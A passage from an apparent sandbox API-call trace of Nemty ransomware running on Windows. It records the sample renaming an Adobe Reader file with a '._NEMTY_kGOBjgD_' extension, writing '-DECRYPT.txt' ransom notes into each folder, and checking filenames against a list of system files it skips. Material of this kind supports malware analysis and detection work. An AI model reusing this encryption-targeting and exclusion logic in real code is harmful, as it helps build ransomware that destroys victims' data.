lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10590, lpOverlapped=0x0) returned 1 [0171.589] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.589] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10590, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10590, lpOverlapped=0x0) returned 1 [0171.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.589] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=66966, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10596 [0171.589] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.589] CloseHandle (hObject=0x3b0) returned 1 [0171.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.590] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.590] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e63590, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19e63590, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19e63590, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.590] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.590] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.591] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.592] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e63590, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19e63590, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19e63590, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.592] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.592] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="HRV", cAlternateFileName="")) returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2=".") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="..") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="...") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="windows") returned -1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="$RECYCLE.BIN") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="rsa") returned -1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="NTDETECT.COM") returned -1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="ntldr") returned -1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="MSDOS.SYS") returned -1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="IO.SYS") returned -1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="boot.ini") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="boot.ini") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="AUTOEXEC.BAT") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="ntuser.dat") returned -1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="desktop.ini") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="CONFIG.SYS") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="RECYCLER") returned -1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="BOOTSECT.BAK") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="bootmgr") returned 1 [0171.592] lstrcmpiW (lpString1="HRV", lpString2="programdata") returned -1 [0171.593] lstrcmpiW (lpString1="HRV", lpString2="appdata") returned 1 [0171.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HRV", lpUsedDefaultChar=0x0) returned 3 [0171.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HRV", lpUsedDefaultChar=0x0) returned 3 [0171.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.593] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.593] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.594] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.594] CloseHandle (hObject=0x254) returned 1 [0171.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.596] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.596] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.596] CloseHandle (hObject=0x254) returned 1 [0171.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.597] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19eaf850, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19eaf850, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.597] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.597] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19eaf850, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19eaf850, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.597] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.597] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.597] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b5, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.597] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, 